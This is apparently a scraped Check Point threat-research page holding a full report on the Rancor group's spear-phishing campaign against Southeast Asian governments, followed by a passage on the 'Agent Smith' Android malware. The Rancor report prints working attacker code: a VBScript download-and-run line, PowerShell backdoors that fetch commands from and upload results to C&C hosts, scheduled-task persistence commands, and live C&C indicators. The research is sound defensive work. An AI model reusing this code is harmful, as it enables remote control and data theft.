\n

Earlier this year, Check Point researchers identified a targeted and extensive attack against Southeast Asian government entities over the span of 7 months. The attackers, which we believe are members of the Rancor threat group, used classic spear-phishing to reach their victims, but have invested many of their efforts into making the e-mails and lure documents appear as convincing as possible, and by changing their TTPs over time.

\n

Rancor is a threat group active since at least 2017, and was previously observed carrying attacks Singapore and Cambodia, which are believed to be espionage motivated.

\n

In this report, we will provide a deep dive analysis of the initial attack methods, infrastructure, and artifacts used against the targets in the latest campaign we discovered and attributed to this group. In addition, we will share some insights that might indicate the Rancor APT group is of a Chinese origin.

\n

 

\n

Main Findings

\n

The observed attacks started with e-mails sent on behalf of employees from different government departments, embassies, or government-related entities in a Southeast Asian country. The attackers appeared determined to reach certain targets, as tens of e-mails were sent to employees under the same ministries. Furthermore, the e-mails’ origin was likely spoofed to make them seem more reliable.

\n

\"\"

\n

Fig 1: Main findings

\n

Infection Flow

\n

This extensive persistent campaign, which was ongoing for more than 7 months, continued to evolve over time, mutating its TTPs, which at times even appeared unrelated until extended analysis. Though hundreds of files were involved in these attacks, the following flow-chart summarizes the better part of the possible attack combination observed throughout the campaign:

\n

\"\"

\n

Fig 2: Infection flow

\n

Decoy Documents

\n

The delivery documents relied on macros and known vulnerabilities to run malicious code on the infected system. What was most interesting about them, however, was the decoy content they used. Most of the documents contained legitimate government-related topics, such as instructions for governmental employees, official letters, press releases, surveys, and more.

\n

Example:  

\n

\"\"

\n

Fig 3: Legitimate looking decoy document

\n

Clusters of TTPs

\n

Analyzing the timeline of the campaign uncovered 8 major variants of TTPs (delivery, persistence and payload) in different combinations. Each mini-campaign was not limited to a single target, and the attackers went after multiple government entities simultaneously, using the same TTPs. Below is a summary of each such cluster, and the time range in which it was observed:

\n

 

\n
1st Cluster: December 2018
\n

\"\"

\n

Fig 4: 1st cluster infection chain

\n

The earliest documents observed on December 2018 and attributed to this campaign contained a short macro that executed the value found under the Company field in the document’s properties:

\n

\"\"

\n

Fig 5: Commands hidden in the document Metadata

\n

The command in the Company field saves a VBScript file to the temp directory, and schedules a task to run it every two minutes. The VBS file simply downloads a second-stage MSI payload from the attacker’s server and executes it using msiexec:

\n

Set a=CreateObject(\"Wscript.Shell\"):a.Run \"msiexec /q /i http://p=/45.125.65[.]76/abc\",0

\n

The MSI payload (c96c01df9d7eeb60258dcf8ce2ccbb2e78bb5f87) was created using the Advanced Installer tool, which allows wrapping a PowerShell script into an MSI installer. This script receives instructions from the C&C server, and uploads the execution result along with the user machine information:

\n\n
try{\n    $client = New-Object System.Net.WebClient;\n    $parameters = New-Object Collections.Specialized.NameValueCollection\n    $commandurl = 'http://45.125.65[.]76/postval/sea.txt'\n    $command = (New-Object System.Net.WebClient).DownloadString($commandurl)\n    $cmdDecode = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($command))\n    $rtn = Invoke-Expression $cmdDecode | Out-String\n    $rtnBase = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($rtn))\n    $parameters[\"comname\"] = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:USERDOMAIN + \"\\\\\" +$env:COMPUTERNAME))\n    $parameters[\"id\"]= $rtnBase\n    $client.UploadValues(\"http://45.125.65[.]76/postval/postval.php\",$parameters)\n}catch\n{}\n
\n\n

By the time we discovered this sample, the C&C was unreachable and we were unable to download the final stage payload, but looking at other files that were hosted on the same C2, led us to a related DLL (70bdce0f974dd0faac5684e6ca0b3476b8a12564). This DLL acts like a loader and tries to download an additional DLL file from www.chinhphumofa.esmtp[.]biz and execute the RunningThread function (later referred to as RunningThread Loader).

\n

 

\n
2nd Cluster: January, March 2019
\n

\"\"

\n

Fig 6: 2nd cluster infection chain

\n

During January and March, the attackers introduced new macro code and the intermediate MSI stage was removed. The Document_Open function in the macro contains base64-encoded blob which is decoded and saved as a .js file. This time the command to create a scheduled task is executed from the Comments property of the document, and it tries to add the same task with two different permissions, thus making sure that the inserted task would utilize the higher permissions if available:

\n\n
cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & \nschtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM\n
\n\n

The Chrome.js file contains a PowerShell backdoor similar to the one in the previous version. In both scheduled tasks, the name, filename and URL patterns of the C&C communication are trying to mimic Google Chrome updates:

\n\n
$r=[System.Net.WebRequest]::Create('http://154.16.37[.]122/GoogleUpdate/Update.php');\n$resp=$r.GetResponse();\n$respstream=$resp.GetResponseStream();\n$sr=new-object System.IO.StreamReader $respstream;\n$Cmd=$sr.ReadToEnd();\n$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd));\n$cmdOut=Invoke-Expression -Command:$Cmd|Out-String;\n$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));\n$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;\n$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));\n$Pusl= 'http://154.16.37[.]122/GoogleUpdate/Google.php?Mac=';\n$Pusl=$Pusl+$Reuid;\n$Pusl=$Pusl+'?Data=';\n$Pusl=$Pusl+$ReCmd;\n[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);\n$webRequest.Method='POST';\n$webRequest.GetResponse();\n
\n\n

Similar URL patterns were seen throughout the campaign.

\n

 

\n
3rd Cluster: April 2019
\n
\"\"
\n

Fig 7: 3rd cluster infection chain

\n

In the next wave, the attackers added documents that exploit known vulnerabilities in MS Equation Editor to their arsenal. The documents are created using the known 8.t RTF weaponizer. As soon as the malicious RTF document is opened, the exploit triggers the execution of the 8.t payload, creating two additional files: C:\\Windows\\tracing\\OneDriveApp.vbs and C:\\Windows\\tracing\\OneDriveApp.ps1. As in previous stages, the PowerShell payload has the same functionality to communicate with the C&C, and depending on the sample mimics different Google or Microsoft applications.

\n

 

\n
4th Cluster: May 2019
\n

\"\"

\n

Fig 8: 4th cluster infection chain

\n

The attack is carried by RTF documents with the same MS Equation Editor exploit builder that was used before. Upon execution, it drops two files into the temp folder: wsc_proxy.exe and wsc.dll. wsc_proxy.exe is a legitimate Avast Antivirus executable. Using DLL side-loading, the malicious payload wsc.dll is started.

\n

The wsc.dll itself is a loader for another DLL executing the RunningThread exported function (the same function name from cluster 1). This infection chain was previously described by @sebdraven.

\n

DLL side-loading is widely used to evade security programs that monitor the behaviors of executed files: some of them are white-listed, signed or trusted files, which thereby might lead to the exclusion of malware loaded by these files from behavioral monitoring. 

\n

 

\n
Clusters 5-8: May-June 2019
\n

\"\"

\n

Fig 9: 5th-8th cluster infection chains

\n

During the months of May and June, Rancor continued to introduce new infection chains that are visualized above. In one case, the attackers turned to Cobalt Strike Beacon as their second stage payload. In another case, where the Bitdefender legitimate executable was used, it was downloaded from a GitHub account possibly created by the attackers specifically for this campaign: https://raw.githubusercontent[.]com/watchdogmanoo/watcherdog/master/WatchDog.exe.
When DLL side-loading was used, the malicious DLL was in charge of downloading and executing two additional plugins internally named as “nbf.plugin” and “nbs.plugin”.

\n

\"\"

\n

Fig 10: GitHub repository used to serve a legitimate Bitdefender executable

\n

 

\n

Connecting the Clusters

\n

Besides going after the same government targets, we observed a lot of similarities between the different clusters we detailed above. Overlapping indicators:

\n\n\n

Below is a visualization of the connections we found between the different clusters:  

\n

\"\"

\n

Fig 11: Maltego graph – connecting the clusters

\n

 

\n

Attribution by Infrastructure

\n

Zooming in on the infrastructure connection, we see that the first and fourth versions of the attack (clusters 1 and 4 in the diagram below), can be connected via multiple passive DNS hops, or by a Rancor Loader to the C&C domain www.chinhphumofa.esmtp[.]biz, which in turn can be connected via passive DNS resolution to the originally reported Rancor C&C domain: www.microsoft.https443[.]org    

\n

\"\"

\n

Fig 12: Maltego graph – infrastructure connecting to previous campaign

\n

 

\n

Attribution by Artifacts

\n

Searching for MSI files which encapsulate PowerShell code (as was described in Cluster 1), led us to a sample that communicated with the IP address 199.247.6[.]253 which is a known C&C used by Rancor group:

\n

\"\"

\n

Fig 13: PowerShell code connecting to Rancor

\n

Another similarity to the previous campaign is the creation of scheduled tasks by running the command schtasks twice to gain execution with SYSTEM privileges if possible. In both cases the scheduled task was set to execute every 2 minutes:

\n

\"\"

\n

Fig 14: Similarity in schedule task creation technique

\n

Finally, as in the previous campaign, our campaign utilized similar macro code technique in the delivery documents, in order to execute the shell command stored in the Company metadata of the document:

\n

\"\"

\n

Fig 15: Similar macro code

\n

Chinese Artifacts

\n

As Rancor was not strongly attributed to any origin as of yet, we would like to offer some insights which might give us indication that we are looking into a Chinese threat group.

\n\n

\"\"

\n

Fig 16: Chinese metadata 

\n\n

Fig 17: Activity graph

\n

Anomalies

\n

During our analysis, we noticed an interesting sample which might indicate some connection in activity between this Rancor campaign and the previous activity by the Goblin Panda group (AKA 1937CN by some vendors). The sample b49c148db0b4eec53815dd1a2630c63d25cda78e (found on VirusTotal) is an RTF document created by the aforementioned 8.t exploit builder, but utilized a loader which is attributed to the Goblin Panda group. The interesting part is that the metadata of the RTF file in question exhibits the same unique Last Modified By information as we’ve seen in our Rancor campaign — “AntiSec”.

\n

\"\"

\n

Fig 18: Anomalous metadata

\n

Conclusion

\n

Rancor group, which was previously spotted attacking Cambodia and Singapore, continued its targeted attacks against entities within the Southeast Asia region, this time concentrating 7 months of efforts on the Southeast Asian government sector. Dozens of emails sent from government officials and containing politically-themed decoy documents were supposed to trick victims into opening them and loading malicious components providing full access to victims’ machines. During our research we uncovered multiple leads fortifying the assumption that the Rancor group activity is indeed of a Chinese origin. We expect the group to continue to evolve, constantly changing their TTPs in the same manner as we observed throughout the campaign, as well as pushing their efforts to bypass security products and avoid attribution.

\n

 

\n
\n

Check Point’s SandBlast

\n

The malware used in this attack was caught using Check Point’s Threat Emulation and Threat Extraction.

\n

Threat Emulation is an innovative zero-day threat sandboxing capability, used by SandBlast Network to deliver the best possible catch rate for threats, and is virtually immune to attackers’ evasion techniques. As part of the Check Point SandBlast Zero-Day Protection solution, Threat Emulation prevents infections from new malware and targeted attacks. The Threat Extraction capability removes exploitable content, including active content and embedded objects, reconstructs files to eliminate potential threats, and promptly delivers sanitized content to users to maintain business flow.

\n
\n

 

\n

Appendix A: IOCs

\n
First Cluster:
6958aed4327b96ca39a159f05843a7282a2e72ba
c829f5f9ff89210c888c1559bb085ec6e65232de
8d522e4b63a53434753ce2c58de117878b084dba
b9e8b12f6eca8e32e9aa130f8e951fa24d9bcbec
c96c01df9d7eeb60258dcf8ce2ccbb2e78bb5f87
0d0d9e9530564099b8a95b69f99c67106d3a72ad
70bdce0f974dd0faac5684e6ca0b3476b8a12564

Second Cluster:
000fb43948d7e6ea7d1041881379561885188949
8c7dc8b65cd20bf957f60e75bf82f159d5cc981d
4326fdf22247c7eab0221a98211ee79c8af9ee7a
6ad2ef8308129b707095b31ca96283722ac71d6a
e188cd6d0bfcbb3275a262bc37eaa9f075a0b3d7
f7125efb572709fd7d4eceb8a7c5de5c890f49aa
d86f7399f3351a03c4e5a3cdd304da3e90d05fed
ac2a35a0d37c19a5c56271ed44988f91c80d8ef3
5eae3c70b02eeb2a91983c13edddaeb48193f3a4
74beb05224a77e64a14f68a65f04360cf18b7713
9217f8765a9bc7ce0a9fb152676ae3560b125a86
00465447fa8c3983f338c65e39107135ca933056
2cd13060a764947d65e528a36fa11035845be093
be335975f80be895d097782aa4b81cc23fbc7316
80514dba1f2bb7c1e71710a566081edf70c2d852
16212af7b47ba999586e88a7979040f72e8184a3
b13615a101657cbe05a770b98a21382643c4173a
0c5534b7bb87559cf9521be9fe1e0e61ddd9819a
1e320275c04ed96d6716ddf4c7209f7bfe870164
f35ca93c8880099ebec532493b2cea2f19d24fb7
ab3e0a764699403d3032f7dbe2bea599eb64504b
0ee328ee207b54f166fb637b781869e90a946119
160843ec8adf065a8bd0d48558e545a64f2937a6
74619159e998322a5805cf79c355fd0b4d65c0b1
1e65dae984602b8036106e090a7effb19010348a
29f9fd59333c2893e3be6f9fe842534494a19e45
290842a691e5b265aaf456851ae6d26c592247d1
8ec0d00e755b4b7fb8a5432f3ac8de84742254b6
bdedd1150d44518e250f4443b540ae38a41bb845
38bd426f6871d6f56ff80173494b7dfd46bb2d61
262cd6693d63a23f0434c954a1c932e6a6ca97a8
21921b227f74e897b86de66cbd794bd8f7bc25f2
f4a84c140346f97bdf9eb2febf7af2b56a584a10
0a03cefc05f979128a1a81359053e649510e696d
8e3353d79dbd694ca937e5cf62f097b4c7bc7993
13f6e0498d916764b2bd4c6887b283295bfd8522
6517f1828a5079975cfd8c7fd4716e0019c88104
d32c866ad2f5d3f0da9b1dc2d1e34a6a182784d1
665484db82d3a292597c3c2c0f052dab0470f8d3
35867c8615249b6bac3048be007683228224647a
191e6e067fce20d175600dffcde317e5db832795
3b55440f396b9c688c1724181e1780098c95bddc
e4d8c33317c11d46f7f951e229b5375d4b2bd8b1
4436c49e0e2c4b2214a8da5026069dae4c69f93e
d6e1fc8f371a7382b6995eba5f4cf6111bd95a32
a0fde9cdf027f5542a0215f9a18bed7f1a448736
01bbd9d36e440a1cab340cecf8735cc0e15e1ba4
0159cb4c53403af8658d79ff6ec753496ba4f4ed
2693d094a168d43de96303936542e84271ad8387
29f478065cb20805466dd08d600aebcd512ddcef
4b773753fddef2306cd9a6b94e5fef58c6adefef
5635bc996903b066f97ef91a5211bb5081d93f43
74046ebec592600efeab4e10bc84d0c16f5eace6
a7d9d9da7a743f47d82df9772ff317edb1f31160
c2ccbbffbb64e2e1f973a02ccbcc974014e885da
4b5ceddc05aa9256c81e4311214a8da1516f6f7f
a32aac2623bcb6dfa7e8ac3cf63bca68bc93ed7a
98ddd45f953a932f5dcc0f9009b3c4b21fc5d63e

Third Cluster:
e478f27da2ca890a2c65e3b32c0488e2084424f9
f95ae679aacfb9d64a3c6ec0b3642623fb5d1c28
a453eb9fe08427cddb01149d20609810c7e52e43
2dd09441795e4f4e7a4e3fc0dfaa33995fac525a
af018c7b14bcff05876cf76a1280680290db6367
ff11d9f8d781b6b3a786ab80f1ce59e7dfd65276
d3ae9caa678754631aed1c82c409b5d43a0a9c80

Fourth Cluster:
c39a9f4ca8075a22e82f3fbc265f9a5dda447b9f
c3738fecfb9cf5bd5ddff8c63c3dcf8056a05804
d7b420832bb7c61d075097ee011ed2765096e7a5
b32251aa7d08718774c8fc30af698de8cfebf142
b05d367d0ae1022d53926c052c9bfd8cb62745cc
6e670a837970a1fb4161d77d5f720d318d7e4dbc
0cc975ad5715d156a206d5b3f333b904714e03cb
7b2823157014e9f2eb346ab77c036a303d295922
47cab36ffcf01caaf0dbbcae272e665da2e30bc6
4855cf922ec6674ca6cd87e3989c24f6ce1b2e8b
bfc19afe6e5b6e6623e6ebb9d4998cc04c079513
de0a7e5da69c1ed781c34445d08f892afe53547f
181d466454d66a86cc2cf628b5861b7595f6bc37

Fifth Cluster:
734c00ec4489e1c5836bd3e28d8e815baae097f8
63b7617e36c70acf3dfcaecf08ca01a77c94a793
f1261dbb1c4226a78a254d0ddc51217a596ef264

Sixth Cluster:
bbf62941a569553ff079a3d8c2dcdeea2f965dbb
d71149c66796094bb7d0b39eb88cb9f64c4ed92f
a521ae445190e366c5c9656d75e32e1aa27f2681

Seventh Cluster:
f65bcebb76061b79cbac90005a6d409c08182f16
86969ecb7c110f4b8db6185c63e24f852ef6aed2

Eighth Cluster:
d15bb371c9607b351321e159ea4b90b853570427
7ec2e15f8f92f2602f2d573cc3abddbba3b22676

Hijacked DLLs:
dcaae20d1593699fbe7be1853468a0ea1a49847f
47cab36ffcf01caaf0dbbcae272e665da2e30bc6
4855cf922ec6674ca6cd87e3989c24f6ce1b2e8b
bfc19afe6e5b6e6623e6ebb9d4998cc04c079513
6f5c61d7e5af72410465872f6e7356a5b928bfa6
ac8e51800be46a42b5ad83b207b8ea9b3e8eac70
108bcb364b937a5c0b867784e21f19656ecce88d
de0a7e5da69c1ed781c34445d08f892afe53547f
181d466454d66a86cc2cf628b5861b7595f6bc37

CobaltStrike Loader:
e92d36a2d3f1cb4ac8ce9321869ab2e85d9525da

C&C Cervers:
charleseedwards.dynamic-dns[.]net
www.sfstnksfcv.jungleheart[.]com
oui6473rf.xxuz[.]com
vvcxvsdvx.dynamic-dns[.]net
kibistation.onmypc[.]net
www.754d56-8523.sexidude[.]com
nicetiss54.lflink[.]com
dsdfdscxcv.justdied[.]com
www.dsgsdgergrfv.toythieves[.]com
185.234.73[.]4
154.16.37[.]122
152.89.161[.]19
45.125.65[.]76
","status":"PUBLISHED","fileName":null,"link":"http://research.checkpoint.com/rancor-the-year-of-the-phish/","tags":[],"score":0.011243904009461403,"topStoryDate":null},{"id":"RS-21565","type":"Research_Publications","name":"Agent Smith: A New Species of Mobile Malware","author":null,"date":1562788707000,"description":"  Research by: Aviran Hazum, Feixiang He, Inbal Marom, Bogdan Melnykov, Andrey Polkovnichenko   Check Point Researchers recently discovered a new variant of mobile malware that quietly infected around 25 million devices, while the user remains completely unaware. Disguised as Google related app, the core part of malware exploits various known Android vulnerabilities and automatically… Click to Read More","content":"

 

\n

Research by: Aviran Hazum, Feixiang He, Inbal Marom, Bogdan Melnykov, Andrey Polkovnichenko

\n

 

\n

Check Point Researchers recently discovered a new variant of mobile malware that quietly infected around 25 million devices, while the user remains completely unaware. Disguised as Google related app, the core part of malware exploits various known Android vulnerabilities and automatically replaces installed apps on the device with malicious versions without the user’s interaction. This unique on-device, just-in-time (JIT) approach inspired researchers to dub this malware as “Agent Smith”.

\n

“Agent Smith” currently uses its broad access to the device’s resources to show fraudulent ads for financial gain. This activity resembles previous campaigns such as Gooligan, HummingBad and CopyCat. The primary targets, so far, are based in India though other Asian countries such as Pakistan and Bangladesh are also affected.

\n

In a much-improved Android security environment, the actors behind Agent Smith seem to have moved into the more complex world of constantly searching for new loopholes, such as Janus, Bundle and Man-in-the-Disk, to achieve a 3-stage infection chain, in order to build a botnet of controlled devices to earn profit for the perpetrator. “Agent Smith” is possibly the first campaign seen that ingrates and weaponized all these loopholes and are described in detail below.

\n

In this case, “Agent Smith” is being used to for financial gain through the use of malicious advertisements. However, it could easily be used for far more intrusive and harmful purposes such as banking credential theft. Indeed, due to its ability to hide it’s icon from the launcher and impersonates any popular existing apps on a device, there are endless possibilities for this sort of malware to harm a user’s device.

\n

Check Point Research has submitted data to Google and law enforcement units to facilitate further investigation. As a result, information related to the malicious actor is tentatively redacted in this publication. Check Point has worked closely with Google and at the time of publishing, no malicious apps remain on the Play Store.

\n

 

\n

Encounter

\n

In early 2019, the Check Point Research team observed a surge of Android malware attack attempts against users in India which had strong characteristics of Janus vulnerability abuse; All samples our team collected during preliminary investigation had the ability to hide their app icons and claim to be Google related updaters or vending modules (a key component of Google Play framework).

\n

Upon further analysis it became clear this application was as malicious as they come and initially resembled the CopyCat malware, discovered by Check Point Research back in April 2016. As the research progressed, it started to reveal unique characteristics which made us believe we were looking at an all-new malware campaign found in the wild.

\n

After a series of technical analysis (which is covered in detail below) and heuristic threat hunting, we discovered that a complete “Agent Smith” infection has three main phases:

\n
    \n
  1. A dropper app lures victim to install itself voluntarily. The initial dropper has a weaponized Feng Shui Bundle as encrypted asset files. Dropper variants are usually barely functioning photo utility, games, or sex related apps.
  2. \n
  3. The dropper automatically decrypts and installs its core malware APK which later conducts malicious patching and app updates. The core malware is usually disguised as Google Updater, Google Update for U or “com.google.vending”. The core malware’s icon is hidden.
  4. \n
  5. The core malware extracts the device’s installed app list. If it finds apps on its prey list (hard-coded or sent from C&C server), it will extract the base APK of the target innocent app on the device, patch the APK with malicious ads modules, install the APK back and replace the original one as if it is an update.
  6. \n
\n

 

\n

“Agent Smith” repacks its prey apps at smali/baksmali code level. During the final update installation process, it relies on the Janus vulnerability to bypass Android’s APK integrity checks. Upon kill chain completion, “Agent Smith” will then hijack compromised user apps to show ads. In certain situations, variants intercept compromised apps’ original legitimate ads display events and report back to the intended ad-exchange with the “Agent Smith” campaign hacker’s ad IDs.

\n

Our intelligence shows “Agent Smith” droppers proliferate through third-party app store “9Apps”, a UC team backed store, targeted mostly at Indian (Hindi), Arabic, and Indonesian users. “Agent Smith” itself, though, seems to target mainly India users.

\n

Unlike previously discovered non Google Play centric campaigns whose victims almost exclusively come from less developed countries and regions, “Agent Smith” successfully penetrated into noticeable number of devices in developed countries such as Saudi Arabia, UK and US.

\n

 

\n

\"\"

\n

 Diagram: Agent Smith’s Attack Flow

\n

 

\n

Technical Analysis

\n

“Agent Smith” has a modular structure and consists of the following modules:

\n\n

As stated above, the first step of this infection chain is the dropper. The dropper is a repacked legitimate application which contains an additional piece of code – “loader”.

\n

The loader has a very simple purpose, extract and run the “core” module of “Agent Smith”. The “core” module communicates with the C&C server, receiving the predetermined list of popular apps to scan the device for. If any application from that list was found, it utilizes the Janus vulnerability to inject the “boot” module into the repacked application. After the next run of the infected application, the “boot” module will run the “patch” module, which hooks the methods from known ad SDKs to its own implementation.

\n

 

\n

\"\"

\n

Figure 1: ‘Agent Smith’s modular structure

\n

 

\n

Technical Analysis – Loader Module

\n

 The “loader” module, as stated above, extracts and runs the “core” module. While the “core” module resides inside the APK file, it is encrypted and disguised as a JPG file – the first two bytes are actually the magic header of JPG files, while the rest of the data is encoded with an XOR cipher.

\n

 

\n

\"\"

\n

Figure 2: “Agent Smith’s jpg file structure

\n

 

\n

After the extraction, the “loader” module adds the code to the application while using the legitimate mechanism by Android to handle large DEX files.

\n

 

\n

\"\"

\n

Figure 3: Loading core malicious code into the benign application

\n

 

\n

Once the “core” module is extracted and loaded, the “loader” uses the reflection technique to initialize and start the “core” module.

\n

\"\"

\n

Figure 4: Loader calls initialization method

\n

 

\n

Technical Analysis – Core Module

\n

With the main purpose of spreading the infection, “Agent Smith” implements in the “core” module:

\n
    \n
  1. A series of ‘Bundle’ vulnerabilities, which is used to install applications without the victim’s awareness.
  2. \n
  3. The Janus vulnerability, which allows the actor to replace any application with an infected version.
  4. \n
\n

 

\n

The “core” module contacts the C&C server, trying to get a fresh list of applications to search for, or if that fails, use a default app list:

\n\n

 

\n

For each application on the list, the “core” module checks for a matching version and MD5 hash of the installed application, and also checks for the application running in the user-space. If all conditions are met, “Agent Smith” tries to infect the application.

\n

The “core” module will use one of two methods to infect the application – Decompile and Binary.

\n

The decompile method is based on the fact that Android applications are Java-based, meaning it is possible to recompile it. Therefore, “Agent Smith” decompiles both the original application and the malicious payload and fuses them together.

\n

\"\"

\n

Figure 5: core module mixes malicious payload with the original application

\n

 

\n

While decompiling the original app, “Agent Smith” has the opportunity to modify the methods inside, replace some of the methods in the original application that handles advertisement with its own code and focus on methods communicating with ‘AdMob’, ‘Facebook’, ‘MoPub’ and ‘Unity Ads’.

\n

 

\n

\"\"

\n

Figure 6: Targeted ad network

\n

 

\n

\"\"

\n

Figure 7: Injection example

\n

 

\n

After all of the required changes, “Agent Smith” compiles the application and builds a DEX file containing both the original code of the original application and the malicious payload.

\n

 

\n

In some cases, the decompilation process will fail, and “Agent Smith” will try another method for infecting the original application – A binary patch, which simply provides a binary file of the “boot” module of “Agent Smith”.

\n

Once the payload is prepared, “Agent Smith” uses it to build another APK file, exploiting the Janus vulnerability:

\n

\"\"

\n

Figure 8: The new infected APK file structure

\n

 

\n

Solely injecting the code of the loader is not enough. As “Agent Smith” uses a modular approach, and as stated earlier, the original loader extracts everything from the assets, the usage of the Janus vulnerability can only change the code of the original application, not the resources. This means that the only thing possible in this case is to replace its DEX file.

\n

To overcome this issue, “Agent Smith” found another solution. Seeing as the system loader of the DEX files (ART) fully ignores everything that goes after the data section, the patcher writes all of its resources right there. This action changes the original file size of the DEX file, which makes the malicious resources a part of the DEX file, a section that is ignored by the signature validation process.

\n

\"\"

\n

Figure 9: Malware secretly adds malicious resources to the DEX file

\n

 

\n

Now, after the alteration of the original application, Android’s package manager will think that this is an update for the application signed by the same certificate, but in reality, it will execute the malicious DEX file.

\n

Even now, this is still not enough. “Agent Smith” needs to be updated/installed without the user’s consent. To achieve this, “Agent Smith” utilizes a series of 1-day vulnerabilities, which allows any application to run an activity inside a system application, even if this activity is not exported.

\n

The malicious application sends a request to choose a network account, a specific account that can only be processed by authentication services exported by the malicious application. The system service ‘AccountManagerService’ looks for the application that can process this request. While doing so, it will reach a service exported by “Agent Smith”, and sends out an authentication request that would lead to a call to the ‘addAccount’ method. Then, a request is formed in such a way that an activity that installs the application is called, bypassing all security checks.

\n

 

\n

\"\" \"\"

\n

Figure 10: The algorithm of the malicious update, while “Agent Smith” updates application

\n

 

\n

If all that has failed, “Agent Smith” turns to Man-in-the-Disk vulnerability for ‘SHAREit’ or ‘Xender’ applications. This is a very simple process, which is replacing their update file on SD card with its own malicious payload.

\n

 

\n

\"\"

\n

Figure 11: ‘Agent Smith’ uses man-in-disk to install the malicious update

\n

 

\n

Technical Analysis – Boot Module

\n

The “boot” module is basically another “loader” module, but this time it’s executed in the infected application. The purpose of this module is to extract and execute a malicious payload – the “patch” module. The infected application contains its payload inside the DEX file. All that is needed is to get the original size of the DEX file and read everything that comes after this offset.

\n

\"\"

\n

Figure 12: Boot module

\n

 

\n

After the patch module is extracted, the “boot” module executes it, using the same method described in the “loader” module. The “boot” module has placeholder classes for the entry points of the infected applications. This allows the “boot” module to execute the payloads when the infected application is started.

\n

 

\n

\"\"

\n

Figure 13: placeholder classes in Boot module

\n

 

\n

Technical Analysis – Patch Module

\n

When “Agent Smith” has reached its goal – a malicious payload running inside the original application, with hooks on various methods – at this point, everything lies with maintaining the required code in case of an update for the original application.

\n

While investing a lot of resources in the development of this malware, the actor behind “Agent Smith” does not want a real update to remove all of the changes made, so here is where the “patch” module comes in to play

\n

With the sole purpose of disabling automatic updates for the infected application, this module observes the update directory for the original application and removes the file once it appears.

\n

Another trick in “Agent Smith’s arsenal is to change the settings of the update timeout, making the original application wait endlessly for the update check.

\n

 

\n

\"\"

\n

Figure 14: disabling infected apps auto-update

\n

 

\n

\"\"

\n

Figure 15: changing the settings of the update timeout

\n

 

\n

The Ad Displaying Payload

\n

Following all of the above, now is the time to take a look into the actual payload that displays ads to the victim.

\n

In the injected payload, the module implements the method ‘callActivityOnCreate’. At any time an infected application will create an activity, this method will be called, and call ‘requestAd’ from “Agent Smith’s code. “Agent Smith” will replace the original application’s activities with an in-house SDK’s activity, which will show the banner received from the server.

\n

In the case of the infected application not specified in the code, “Agent Smith” will simply show ads on the activity being loaded.

\n

 

\n

\"\"

\n

Figure 16: integrating an in-house ad SDK

\n

 

\n

\"\"

\n

Figure 17: replacing original app activities with the malicious ad SDK activity

\n

 

\n

\"\"

\n

Figure 18: the malware showing ads on any activity being loaded

\n

 

\n

Connecting the Dots

\n

As our malware sample analysis took the team closer to reveal the “Agent Smith” campaign in its entirety and it is here that the C&C server investigation enters the center stage.

\n

We started with most frequently used C&C domains “a***d.com”, “a***d.net”, and “a***d.org”. Among multiple sub-domains, “ad.a***d.org” and “gd.a***d.org” both historically resolved to the same suspicious IP address.

\n

The reverse DNS history of this IP brought “ads.i***e.com” into our attention.

\n

An extended malware hunting process returned to us a large set of “Agent Smith” dropper variants which helped us further deduce a relation among multiple C&C server infrastructures. In a different period of the “Agent Smith” campaign, droppers and core modules used various combinations of the “a***d” and “i***e” domains for malicious operations such as prey list query, patch request and ads request.

\n

With a bit of luck, we managed to find logs in which the evidence showed “Agent Smith’s C&C front end routinely distributes a workload between “w.h***g.com” and “tt.a***d.net”.

\n

An in-depth understanding of the “Agent Smith’s campaign C&C infrastructure enabled us to reach the conclusion that the owner of “i***e.com”, “h***g.com” is the group of hackers behind “Agent Smith”.

\n

 

\n

\"\"

\n

Figure 19: C&C infrastructure diagram

\n

 

\n

The Infection Landscape

\n

“Agent Smith” droppers show a very greedy infection tactic. It’s not enough for this malware family to swap just one innocent application with an infected double. It does so for each and every app on the device as long as the package names are on its prey list.

\n

Over time, this campaign will also infect the same device, repeatedly, with the latest malicious patches. This lead us to estimate there to be over 2.8 billion infections in total, on around 25 Million unique devices, meaning that on average, each victim would have suffered roughly 112 swaps of innocent applications.

\n

As an initial attack vector, “Agent Smith” abuses the 9Apps market – with over 360 different dropper variants. To maximize profit, variants with “MinSDK” or “OTA” SDK are present to further infect victims with other adware families. The majority of droppers in 9Apps are games, while the rest fall into categories of adult entertainment, media player, photo utilities, and system utilities.

\n

 

\n

\"\"

\n

Figure 20: dropper app category distribution

\n

 

\n

Among the vast number of variants, the top 5 most infectious droppers alone have been downloaded more than 7.8 million times of the infection operations against innocent applications:

\n

\"\"

\n

Figure 21: Top 5 most infectious droppers

\n

 

\n

The “Agent Smith” campaign is primarily targeted at Indian users, who represent 59% of the impacted population. Unlike previously seen non-GP (Google Play) centric malware campaigns, “Agent Smith” has a significant impact upon not only developing countries but also some developed countries where GP is readily available. For example, the US (with around 303k infections), Saudi Arabia (245k), Australia (141k) and the UK (137k).

\n

\"\"

\n

Figure 22: world infection heat map

\n

 

\n

Considering that India is by far the most infected county by “Agent Smith”, overall compromised device brand distribution is heavily influenced by brand popularity among Indian Android users:

\n

\"\"

\n

Figure 23: infected brand distribution

\n

 

\n

While most infections occurred on devices running Android 5 and 6, we also see a considerable number of successful attacks against newer Android versions.

\n

It is a worrying observation. AOSP patched the Janus vulnerability since version 7 by introducing APK Signature Scheme V2. However, in order to block Janus abuse, app developers need to sign their apps with the new scheme so that Android framework security component could conduct integrity checks with enhanced features.

\n

\"\"

\n

Figure 25: infected Android version distribution

\n

 

\n

To further analyze “Agent Smith”’s infection landscape, we dived into the top 10 infected countries:

